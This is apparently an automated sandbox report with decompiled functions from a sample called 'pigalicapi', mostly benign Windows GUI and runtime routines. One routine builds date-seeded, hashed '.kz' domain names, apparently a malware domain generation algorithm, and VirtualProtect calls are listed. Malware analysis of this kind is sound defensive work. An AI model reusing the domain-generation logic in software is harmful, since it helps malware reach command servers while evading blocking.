Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Locale$StringUpdateUpdate::____crt$__getptd__getptd_noexit__stricmp_l
String ID:
API String ID: 2544346105-0
Opcode ID: e81381012233a32f466daf1c9effd4de1b6a53fdfbdc6e1d13210bb8a7fa3cdc
Instruction ID: 636e70a915b4f1950d11e81ffbb759f7c17e1a866c46e242dd9488cfe2209a54
Opcode Fuzzy Hash: e81381012233a32f466daf1c9effd4de1b6a53fdfbdc6e1d13210bb8a7fa3cdc
Instruction Fuzzy Hash: A3513D70904699DBDB259B64C489BFD7BB8FF81318F284199E061DB1D1D7308EC1DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0080D300 Relevance: 6.1, APIs: 4, Instructions: 93
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0080D300(unsigned int __ecx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				signed int _t16;
				signed char _t19;
				signed short _t25;
				int _t27;
				intOrPtr _t34;
				signed short _t35;
				void* _t40;
				intOrPtr _t50;
				intOrPtr _t51;
				signed int _t53;

				_t51 = __esi;
				_t50 = __edi;
				_t35 = __ecx;
				_t16 =  *0x869060; // 0xda7e2511
				_v8 = _t16 ^ _t53;
				_t19 = __ecx >> 0x10;
				_t41 = 0xffff;
				if(_t19 != 0xffff || _a4 != 0) {
					_v264 = 0;
					if((_t19 & 0x00000010) != 0) {
						L19:
						SendMessageA( *(_t50 + 0x28), 0x409, 1, 0);
						_t41 =  &_v264;
						SendMessageA( *(_t50 + 0x28), 0x401, 0x1ff,  &_v264);
						_t51 = _t51;
						goto L20;
					}
					_t25 = _t35 & 0x0000ffff;
					if(_t35 < 0xf000 || _t35 >= 0xf1f0) {
						if(_t35 < 0xe110 || _t35 > 0xe11f) {
							if(_t35 >= 0xff00 && _t35 <= 0xfffd) {
								_t25 = 0xef1f;
							}
						} else {
							_t25 = 0xefda;
						}
					} else {
						_t25 = ((_t35 & 0x0000ffff) - 0x0000f000 >> 0x00000004) - 0x00001100 & 0x0000ffff;
					}
					_t27 = LoadStringA( *0x880c0c, _t25 & 0x0000ffff,  &_v264, 0x100);
					_t40 = 0;
					if(_t27 > 0) {
						while( *((intOrPtr*)(_t53 + _t40 - 0x104)) != 0xa) {
							_t40 = _t40 + 1;
							if(_t40 < _t27) {
								continue;
							}
							goto L19;
						}
						 *((char*)(_t53 + _t40 - 0x104)) = 0;
					}
					goto L19;
				} else {
					SendMessageA( *(__edi + 0x28), 0x409, 0, 0);
					L20:
					return E008159E6(1, _t34, _v8 ^ _t53, _t41, _t50, _t51);
				}
			}

0x0080d300
0x0080d300
0x0080d300
0x0080d309
0x0080d310
0x0080d315
0x0080d318
0x0080d320
0x0080d340
0x0080d349
0x0080d3eb
0x0080d3ff
0x0080d404
0x0080d416
0x0080d418
0x00000000
0x0080d418
0x0080d354
0x0080d35a
0x0080d383
0x0080d39e
0x0080d3aa
0x0080d3aa
0x0080d38f
0x0080d38f
0x0080d38f
0x0080d366
0x0080d376
0x0080d376
0x0080d3c5
0x0080d3cb
0x0080d3cf
0x0080d3d3
0x0080d3dc
0x0080d3df
0x00000000
0x00000000
0x00000000
0x0080d3e1
0x0080d3e3
0x0080d3e3
0x00000000
0x0080d328
0x0080d335
0x0080d419
0x0080d42b
0x0080d42b

APIs

SendMessageA.USER32 ref: 0080D335
LoadStringA.USER32 ref: 0080D3C5
SendMessageA.USER32 ref: 0080D3FF
SendMessageA.USER32 ref: 0080D416

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageSend$LoadString
String ID:
API String ID: 4010343828-0
Opcode ID: 7e6202d88eb1175ab5f857765a115ecc3ebe60c42230c0cb485b9f8363970221
Instruction ID: 9b043787c3edcb67f4286ba4ea8e7a5ecb9235fb69cb460ada1705f2dacec67f
Opcode Fuzzy Hash: 7e6202d88eb1175ab5f857765a115ecc3ebe60c42230c0cb485b9f8363970221
Instruction Fuzzy Hash: 2031287070436A9BFB20A698CC85BFA7395FB65300F514039F282DB7C1E5B4DD818756

Uniqueness

Uniqueness Score: -1.00%

Function 00811030 Relevance: 6.1, APIs: 4, Instructions: 89
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00811030(intOrPtr __edi, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				struct tagRECT _v44;
				signed char _v48;
				signed char _v52;
				signed char _v56;
				signed char _v60;
				void* _v64;
				signed char _v68;
				void* __ebx;
				void* __esi;
				signed int _t37;
				intOrPtr _t51;
				intOrPtr _t60;
				int _t61;
				signed int _t62;

				_t60 = __edi;
				_t37 =  *0x869060; // 0xda7e2511
				_t38 = _t37 ^ _t62;
				_v12 = _t37 ^ _t62;
				_t51 = _a4;
				if(_t51 == 0xffffffff) {
					L9:
					return E008159E6(_t38 | 0xffffffff, _t51, _v12 ^ _t62, _t59, _t60, _t61);
				} else {
					_v44.left = 0;
					_v44.top = 0;
					_v44.right = 0;
					_v44.bottom = 0;
					GetClientRect( *(__edi + 4),  &_v44);
					_t59 =  *(__edi + 0x44);
					_t38 = GetMenuItemCount( *(__edi + 0x44));
					_t61 = _t51 + 1;
					_v68 = _t38;
					if(_t61 == _t51) {
						goto L9;
					} else {
						_t51 = SendMessageA;
						L3:
						L3:
						if(_t61 >= _v68) {
							_t61 = 0;
						}
						_v64 = 0;
						_v60 = 0;
						_v56 = 0;
						_v52 = 0;
						_v48 = 0;
						SendMessageA( *(_t60 + 4), 0x417, _t61,  &_v64);
						_t59 =  &_v28;
						_v28 = 0;
						_v24 = 0;
						_v20 = 0;
						_v16 = 0;
						_t38 = SendMessageA( *(_t60 + 4), 0x41d, _t61,  &_v28);
						if(_v20 > _v44.right) {
							goto L10;
						}
						_t38 = _v56;
						if((_t38 & 0x00000004) == 0 || (_t38 & 0x00000008) != 0) {
							_t61 = _t61 + 1;
							if(_t61 != _a4) {
								goto L3;
							} else {
								goto L9;
							}
						} else {
							L11:
							if(_t61 == _a4) {
								goto L9;
							} else {
								return E008159E6(_t61, _t51, _v12 ^ _t62, _t59, _t60, _t61);
							}
						}
						goto L13;
						L10:
						_t61 = 0xfffffffe;
						goto L11;
					}
				}
				L13:
			}

0x00811030
0x00811036
0x0081103b
0x0081103d
0x00811041
0x00811048
0x008110e3
0x008110f5
0x0081104e
0x00811053
0x00811056
0x00811059
0x0081105c
0x00811064
0x0081106a
0x0081106e
0x00811074
0x00811077
0x0081107c
0x00000000
0x0081107e
0x0081107e
0x00000000
0x00811084
0x00811087
0x00811089
0x00811089
0x00811090
0x00811093
0x00811096
0x00811099
0x0081109c
0x008110aa
0x008110ae
0x008110b3
0x008110b6
0x008110b9
0x008110bc
0x008110c8
0x008110d0
0x00000000
0x00000000
0x008110d2
0x008110d7
0x008110dd
0x008110e1
0x00000000
0x00000000
0x00000000
0x00000000
0x008110fd
0x008110fd
0x00811100
0x00000000
0x00811102
0x00811113
0x00811113
0x00811100
0x00000000
0x008110f8
0x008110f8
0x00000000
0x008110f8
0x0081107c
0x00000000

APIs

GetClientRect.USER32 ref: 00811064
GetMenuItemCount.USER32 ref: 0081106E
SendMessageA.USER32 ref: 008110AA
SendMessageA.USER32 ref: 008110C8

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageSend$ClientCountItemMenuRect
String ID:
API String ID: 4098442271-0
Opcode ID: 11b195277570965da320c64b71ec7b4a5d4629994916805db4b9a686d4a03d16
Instruction ID: 5ae06c23562136ab895dead0e027bcdb80f64fb8cc8394077349dd2d4c92ed57
Opcode Fuzzy Hash: 11b195277570965da320c64b71ec7b4a5d4629994916805db4b9a686d4a03d16
Instruction Fuzzy Hash: 0A31EDB1D05618AF8F54DFA8D8859EEFBF8FF0C310B10422AE519E7240D731A981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00809BC0 Relevance: 6.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00809BC0(intOrPtr __ecx, CHAR* __edx, void* __eflags, int _a4) {
				signed int _v8;
				char _v276;
				intOrPtr _v280;
				CHAR* _v284;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				signed int _t23;
				signed int _t28;
				intOrPtr _t30;
				intOrPtr _t50;
				signed int _t53;
				intOrPtr* _t54;

				_t47 = __edx;
				_t19 =  *0x869060; // 0xda7e2511
				_v8 = _t19 ^ _t53;
				_t50 = __ecx;
				_t52 = __ecx + 0x38;
				_v280 = __ecx;
				_t38 = __edx;
				 *_t54 = 0;
				if(E0080CCE0(__ecx + 0x38, __ecx) != 0) {
					_t23 =  *_t38;
					__eflags = _t23;
					if(__eflags != 0) {
						__eflags = _t23 - 0x22;
						if(__eflags == 0) {
							_t38 =  &(_t38[1]);
							_t52 = 0;
							__eflags = lstrlenA(_t38);
							if(__eflags > 0) {
								while(1) {
									__eflags =  *((char*)(_t52 + _t38)) - 0x22;
									if(__eflags == 0) {
										break;
									}
									_t52 = _t52 + 1;
									__eflags = _t52 - lstrlenA(_t38);
									if(__eflags < 0) {
										continue;
									} else {
									}
									goto L11;
								}
								 *((char*)(_t52 + _t38)) = 0;
							}
							L11:
							_t50 = _v280;
						}
						_v284 = 0;
						GetFullPathNameA(_t38, 0x104,  &_v276,  &_v284);
						_t48 = _v284;
						_t28 = E00808380(_t50 + 0x38, __eflags,  &_v276, _v284);
						__eflags = _t28;
						if(_t28 != 0) {
							_t38 = _t50 + 0x140;
							E0080B170(_t50 + 0x140,  &_v276, _t48);
						}
					} else {
						E00808220(_t52, __eflags);
					}
					ShowWindow( *(_t50 + 0x3c), _a4);
					_t30 = E008049A0(_a4, _t50);
					__eflags = _v8 ^ _t53;
					return E008159E6(_t30, _t38, _v8 ^ _t53,  *(_t50 + 0x3c), _t50, _t52);
				} else {
					return E008159E6(_t22, _t38, _v8 ^ _t53, _t47, _t50, _t52);
				}
			}

0x00809bc0
0x00809bc9
0x00809bd0
0x00809bd6
0x00809bdb
0x00809bde
0x00809be4
0x00809be6
0x00809bf3
0x00809c08
0x00809c0a
0x00809c0c
0x00809c1a
0x00809c1c
0x00809c24
0x00809c26
0x00809c2a
0x00809c2c
0x00809c30
0x00809c30
0x00809c34
0x00000000
0x00000000
0x00809c37
0x00809c3a
0x00809c3c
0x00000000
0x00000000
0x00809c3e
0x00000000
0x00809c3c
0x00809c40
0x00809c40
0x00809c44
0x00809c44
0x00809c44
0x00809c5e
0x00809c68
0x00809c6e
0x00809c7f
0x00809c84
0x00809c86
0x00809c88
0x00809c94
0x00809c94
0x00809c0e
0x00809c10
0x00809c10
0x00809ca1
0x00809ca7
0x00809cb1
0x00809cbc
0x00809bf8
0x00809c05
0x00809c05

APIs

Part of subcall function 0080CCE0: LoadStringA.USER32 ref: 0080CD16
Part of subcall function 0080CCE0: LoadMenuA.USER32 ref: 0080CD2B
Part of subcall function 0080CCE0: LoadAcceleratorsA.USER32 ref: 0080CD91

ShowWindow.USER32(?,?,?,00000000,?,00000104,?,?), ref: 00809CA1

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Load$AcceleratorsMenuShowStringWindow
String ID:
API String ID: 1999622886-0
Opcode ID: d83e35715ab571ab84560c21377199fe419d85aa2318821f9e86b0c398507689
Instruction ID: 0fcc163848f7d7a2ca536c0e3b5d74550119bead3ef45affb67267cb7f609190
Opcode Fuzzy Hash: d83e35715ab571ab84560c21377199fe419d85aa2318821f9e86b0c398507689
Instruction Fuzzy Hash: 7D21E972A0011C9BD769DF18DC82BEAB3E8FF85300F104199E589D7191DA70AD42CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 008193AB Relevance: 6.1, APIs: 4, Instructions: 68
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E008193AB(void* __edx, void* __edi, void* __esi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t27;
				long _t30;

				if(_a4 != 0) {
					_push(__esi);
					_t30 = _a8;
					__eflags = _t30;
					if(_t30 != 0) {
						_push(__edi);
						while(1) {
							__eflags = _t30 - 0xffffffe0;
							if(_t30 > 0xffffffe0) {
								break;
							}
							__eflags = _t30;
							if(_t30 == 0) {
								_t30 = _t30 + 1;
								__eflags = _t30;
							}
							_t7 = HeapReAlloc( *0x881004, 0, _a4, _t30);
							_t27 = _t7;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								_t8 = _t27;
							} else {
								__eflags =  *0x88166c - _t7;
								if(__eflags == 0) {
									_t9 = E00817A0D(__eflags);
									 *_t9 = E008179CB(GetLastError());
									goto L17;
								} else {
									__eflags = E00818912(_t7, _t30);
									if(__eflags == 0) {
										_t12 = E00817A0D(__eflags);
										 *_t12 = E008179CB(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00818912(_t6, _t30);
						 *((intOrPtr*)(E00817A0D(__eflags))) = 0xc;
						goto L12;
					} else {
						E00815DE2(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00815E1C(__edx, __edi, __esi, _a8);
				}
			}

0x008193b4
0x008193c1
0x008193c2
0x008193c5
0x008193c7
0x008193d6
0x00819409
0x00819409
0x0081940c
0x00000000
0x00000000
0x008193d9
0x008193db
0x008193dd
0x008193dd
0x008193dd
0x008193ea
0x008193f0
0x008193f2
0x008193f4
0x00819454
0x00819454
0x008193f6
0x008193f6
0x008193fc
0x0081943e
0x00819452
0x00000000
0x008193fe
0x00819405
0x00819407
0x00819426
0x0081943a
0x00819420
0x00819420
0x00819420
0x00000000
0x00000000
0x00000000
0x00819407
0x008193fc
0x00000000
0x00819422
0x0081940f
0x0081941a
0x00000000
0x008193c9
0x008193cc
0x008193d2
0x008193d2
0x00819423
0x00819425
0x008193b6
0x008193c0
0x008193c0

APIs

_malloc.LIBCMT ref: 008193B9

Part of subcall function 00815E1C: __FF_MSGBANNER.LIBCMT ref: 00815E35
Part of subcall function 00815E1C: __NMSG_WRITE.LIBCMT ref: 00815E3C
Part of subcall function 00815E1C: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00819160,?,00000001,?,?,0081A609,00000018,00824600,0000000C,0081A699), ref: 00815E61

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 987a352810bd76578a881417e645037cc4d16cb1b9ec8f705dcf3827adb1b299
Instruction ID: 95658e8cc4d776630b8b2368d8eabd200bd19f907f526670f5b49cd46c5d6647
Opcode Fuzzy Hash: 987a352810bd76578a881417e645037cc4d16cb1b9ec8f705dcf3827adb1b299
Instruction Fuzzy Hash: 6711E732408614ABCF323B78BC156DE3BACFF403B0B204429F499CA291DF3089C29B95

Uniqueness

Uniqueness Score: -1.00%

Function 008049A0 Relevance: 6.1, APIs: 4, Instructions: 64
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E008049A0(void* __ecx, intOrPtr* __edi) {
				intOrPtr _v8;
				int _t8;
				intOrPtr _t11;
				intOrPtr _t15;
				void* _t19;
				intOrPtr* _t26;
				MSG* _t28;
				void* _t37;
				void* _t39;

				_t26 = __edi;
				_t28 = __edi + 0x1c;
				while(1) {
					_t19 = 0;
					_v8 = 1;
					goto L2;
					do {
						do {
							do {
								L2:
								if(_v8 != 0) {
									while(PeekMessageA(_t28, 0, 0, 0, 0) == 0) {
										_t11 =  *((intOrPtr*)( *((intOrPtr*)( *_t26 + 4))))(_t19);
										_t19 = _t19 + 1;
										if(_t11 != 0) {
											continue;
										} else {
											_v8 = _t11;
										}
										goto L6;
									}
								}
								L6:
								_t8 = GetMessageA(_t28, 0, 0, 0);
							} while (_t8 == 0xffffffff);
							if(_t8 != 0) {
								_push(_t28);
								if( *((intOrPtr*)( *((intOrPtr*)( *_t26))))() == 0) {
									TranslateMessage(_t28);
									DispatchMessageA(_t28);
								}
								_t15 =  *((intOrPtr*)(_t26 + 0x20));
								_t37 = _t15 - 0x118;
								if(_t37 > 0) {
									goto L15;
								} else {
									goto L11;
								}
								L18:
							}
							return  *((intOrPtr*)(_t26 + 0x24));
							goto L18;
							L11:
						} while (_t37 == 0 || _t15 == 0xf);
						_t39 = _t15 - 0xa0;
						L15:
					} while (_t39 == 0);
				}
			}

0x008049a0
0x008049a6
0x008049a9
0x008049a9
0x008049ab
0x008049ab
0x008049b2
0x008049b2
0x008049b2
0x008049b2
0x008049b6
0x008049b8
0x008049d3
0x008049d5
0x008049d8
0x00000000
0x008049da
0x008049da
0x008049da
0x00000000
0x008049d8
0x008049b8
0x008049dd
0x008049e4
0x008049ea
0x008049f1
0x008049f7
0x008049fe
0x00804a01
0x00804a08
0x00804a08
0x00804a0e
0x00804a11
0x00804a16
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00804a16
0x00804a3a
0x00000000
0x00804a18
0x00804a18
0x00804a1f
0x00804a2b
0x00804a2b
0x00804a2d

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 008049C1
GetMessageA.USER32 ref: 008049E4
TranslateMessage.USER32(?), ref: 00804A01
DispatchMessageA.USER32 ref: 00804A08

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 62dc953030e5cc0b580d71438f143edd03d999aa5df3da05011aa58bf05c52a6
Instruction ID: e938654ddbe6757c49ffb54115a5f25a24fd2396d59e7e9145002471dcb99ff8
Opcode Fuzzy Hash: 62dc953030e5cc0b580d71438f143edd03d999aa5df3da05011aa58bf05c52a6
Instruction Fuzzy Hash: 1C11A0B0381215ABE7609B58CD89BAAB7A8FF45305F209162F705D72E0D374ED528AC5

Uniqueness

Uniqueness Score: -1.00%

Function 0080B3E0 Relevance: 6.0, APIs: 4, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0080B3E0(intOrPtr* __ebx, void* __edi, intOrPtr _a4, CHAR* _a8) {
				intOrPtr _t5;
				signed int _t18;
				signed int _t23;
				CHAR* _t25;

				_t5 =  *((intOrPtr*)(__ebx + 4));
				_t23 = _t5 - _a4 + 0xe10f;
				if(_t23 < 0 || _t23 >= _t5) {
					L9:
					return 0;
				} else {
					_t18 = _t23 * 0x104;
					if(lstrlenA( *__ebx + _t18) < 0x104) {
						if(_t23 >=  *((intOrPtr*)(__ebx + 4))) {
							RaiseException(0xc000008c, 1, 0, 0);
							goto L9;
						} else {
							_t25 =  *__ebx + _t18;
							if(lstrlenA(_t25) < 0x104) {
								lstrcpyA(_a8, _t25);
							}
							return 1;
						}
					} else {
						return 0;
					}
				}
			}

0x0080b3e3
0x0080b3ec
0x0080b3f2
0x0080b459
0x0080b45d
0x0080b3f8
0x0080b3fd
0x0080b411
0x0080b41e
0x0080b453
0x00000000
0x0080b420
0x0080b422
0x0080b430
0x0080b437
0x0080b437
0x0080b445
0x0080b445
0x0080b413
0x0080b418
0x0080b418
0x0080b411

APIs

lstrlenA.KERNEL32(?,?,?,?,008086BD,?,?,?,?,?), ref: 0080B406
lstrlenA.KERNEL32(?,?,?,008086BD,?,?,?,?,?), ref: 0080B425
lstrcpyA.KERNEL32(?,?,?,?,008086BD,?,?,?,?,?), ref: 0080B437

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: lstrlen$lstrcpy
String ID:
API String ID: 805584807-0
Opcode ID: db8b90389dd7c5e5be341503d0984c0df0326f233c307e236f8f6749349a08cc
Instruction ID: 4cc42ec3633699a87e51fb9341900cdcb67a6b7f2ffe814aab06909059125011
Opcode Fuzzy Hash: db8b90389dd7c5e5be341503d0984c0df0326f233c307e236f8f6749349a08cc
Instruction Fuzzy Hash: C6018B336005249BDB2057ACEC89B85B759FB54720F058433F949EB192C371A95187A5

Uniqueness

Uniqueness Score: -1.00%

Function 040092E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040092E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				struct _SYSTEMTIME _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v172;
				void* _t46;
				intOrPtr _t50;
				void* _t83;
				void* _t84;
				void* _t86;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0) {
					GetLocalTime( &_v28);
					_t46 = E040097E0(_v28.wMonth & 0x0000ffff, _v28.wYear & 0x0000ffff, _v28.wMonth & 0x0000ffff, _v28.wDay & 0x0000ffff);
					_t84 = _t83 + 0xc;
					_v12 = _t46 + _a12;
					_v32 = 0;
					while(_v32 < _a8) {
						E04007D20( &_v172,  &_v172, 0, 0x80);
						_t50 = E04008BB0( &_v12, 4,  &_v172, 0x80);
						_t86 = _t84 + 0x1c;
						_v40 = _t50;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v172;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v172, _v40, _v32 * 0x28 + _a4, _v36);
						_t84 = _t86 + 0x10;
						lstrcatA(_v32 * 0x28 + _a4, ".kz");
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

APIs

GetLocalTime.KERNEL32(?), ref: 04009308

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcatA.KERNEL32(00000000,.kz), ref: 040093DB

Strings

.kz, xrefs: 040093CC

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastLocalReleaseTimelstrcat
String ID: .kz
API String ID: 2740484991-4216035510
Opcode ID: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction ID: bb0d42d70b93f9fb2e2ab601979b3322a165a8cda29c6817b22e5740edda4972
Opcode Fuzzy Hash: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction Fuzzy Hash: 2D310AB1E00209EBEF08DF94C885BEEB7B5EF58304F10C159E515B7281E678AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02B52430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 02B52468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 02B524B2

Strings

@, xrefs: 02B52453

Memory Dump Source

